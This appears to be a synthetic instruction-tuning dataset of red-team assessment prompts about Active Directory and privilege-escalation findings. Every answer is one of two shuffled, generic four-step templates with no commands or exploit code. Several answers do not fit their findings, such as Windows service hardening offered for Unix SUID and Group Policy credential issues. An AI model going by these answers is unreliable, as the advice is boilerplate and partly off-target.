{"instruction": "Service Principal Names (SPNs) enumerated: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Service Principal Names (SPNs) enumerated", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nStep 3: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nStep 4: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Accounts flagged with no-preauth: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Accounts flagged with no-preauth", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nStep 3: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nStep 4: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Service Principal Names (SPNs) enumerated: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Service Principal Names (SPNs) enumerated", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nStep 3: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nStep 4: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Service Principal Names (SPNs) enumerated: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Service Principal Names (SPNs) enumerated", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nStep 3: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nStep 4: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Service Principal Names (SPNs) enumerated: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Service Principal Names (SPNs) enumerated", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nStep 3: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nStep 4: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Accounts flagged with no-preauth: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Accounts flagged with no-preauth", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nStep 3: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nStep 4: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Cross-forest trust relationships exist: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Cross-forest trust relationships exist", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nStep 3: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nStep 4: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Accounts flagged with no-preauth: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Accounts flagged with no-preauth", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nStep 3: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nStep 4: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Constrained delegation entries present: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Constrained delegation entries present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nStep 3: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nStep 4: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Constrained delegation entries present: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Constrained delegation entries present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use lab simulations to test detection of Kerberos anomalies without exploiting live systems.\n\nStep 3: Catalogue accounts and SPNs to estimate risk and likely attack surface.\n\nStep 4: Validate ticket lifetime policies and monitor for abnormal ticket requests.\n\nDefender detection notes:\n\n  - Abnormal increases in ticket requests or requests for uncommon services.\n\nMitigations & hardening:\n\n  - Enable pre-auth where feasible and enforce short ticket lifetimes.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Service runs as SYSTEM with writable components: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Service runs as SYSTEM with writable components", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nStep 3: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 4: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Service runs as SYSTEM with writable components: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Service runs as SYSTEM with writable components", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 3: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nStep 4: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Service runs as SYSTEM with writable components: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Service runs as SYSTEM with writable components", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nStep 3: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nStep 4: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Legacy Unix SUID misconfigurations present: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Legacy Unix SUID misconfigurations present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nStep 3: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nStep 4: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Legacy Unix SUID misconfigurations present: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Legacy Unix SUID misconfigurations present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 3: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nStep 4: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Legacy Unix SUID misconfigurations present: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Legacy Unix SUID misconfigurations present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nStep 3: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 4: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Unquoted service path suspected on host: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Unquoted service path suspected on host", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nStep 3: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 4: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Legacy Unix SUID misconfigurations present: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Legacy Unix SUID misconfigurations present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nStep 3: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 4: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Unquoted service path suspected on host: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Unquoted service path suspected on host", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nStep 3: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 4: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Legacy Unix SUID misconfigurations present: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Legacy Unix SUID misconfigurations present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nStep 3: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nStep 4: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Service runs as SYSTEM with writable components: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Service runs as SYSTEM with writable components", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nStep 3: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nStep 4: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Unquoted service path suspected on host: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Unquoted service path suspected on host", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nStep 3: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nStep 4: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Group Policy object references embedded credentials: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Group Policy object references embedded credentials", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nStep 3: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nStep 4: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Group Policy object references embedded credentials: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Group Policy object references embedded credentials", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nStep 3: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 4: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Group Policy object references embedded credentials: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Group Policy object references embedded credentials", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 3: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nStep 4: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Service runs as SYSTEM with writable components: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Service runs as SYSTEM with writable components", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nStep 3: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 4: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Unquoted service path suspected on host: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Unquoted service path suspected on host", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nStep 3: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 4: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Group Policy object references embedded credentials: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Group Policy object references embedded credentials", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 3: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nStep 4: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Legacy Unix SUID misconfigurations present: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Legacy Unix SUID misconfigurations present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 3: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nStep 4: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Group Policy object references embedded credentials: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Group Policy object references embedded credentials", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nStep 3: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 4: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Service runs as SYSTEM with writable components: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Service runs as SYSTEM with writable components", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 3: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nStep 4: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Service runs as SYSTEM with writable components: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Service runs as SYSTEM with writable components", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nStep 3: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 4: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Service runs as SYSTEM with writable components: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Service runs as SYSTEM with writable components", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nStep 3: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nStep 4: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Group Policy object references embedded credentials: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Group Policy object references embedded credentials", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nStep 3: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 4: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Unquoted service path suspected on host: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Unquoted service path suspected on host", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nStep 3: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 4: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Service runs as SYSTEM with writable components: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Service runs as SYSTEM with writable components", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nStep 3: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nStep 4: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Legacy Unix SUID misconfigurations present: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Legacy Unix SUID misconfigurations present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 3: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nStep 4: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Legacy Unix SUID misconfigurations present: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Legacy Unix SUID misconfigurations present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nStep 3: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nStep 4: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Legacy Unix SUID misconfigurations present: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Legacy Unix SUID misconfigurations present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nStep 3: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 4: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Group Policy object references embedded credentials: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Group Policy object references embedded credentials", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 3: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nStep 4: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Service runs as SYSTEM with writable components: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Service runs as SYSTEM with writable components", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 3: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nStep 4: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Group Policy object references embedded credentials: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Group Policy object references embedded credentials", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nStep 3: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 4: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Legacy Unix SUID misconfigurations present: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Legacy Unix SUID misconfigurations present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nStep 3: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 4: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
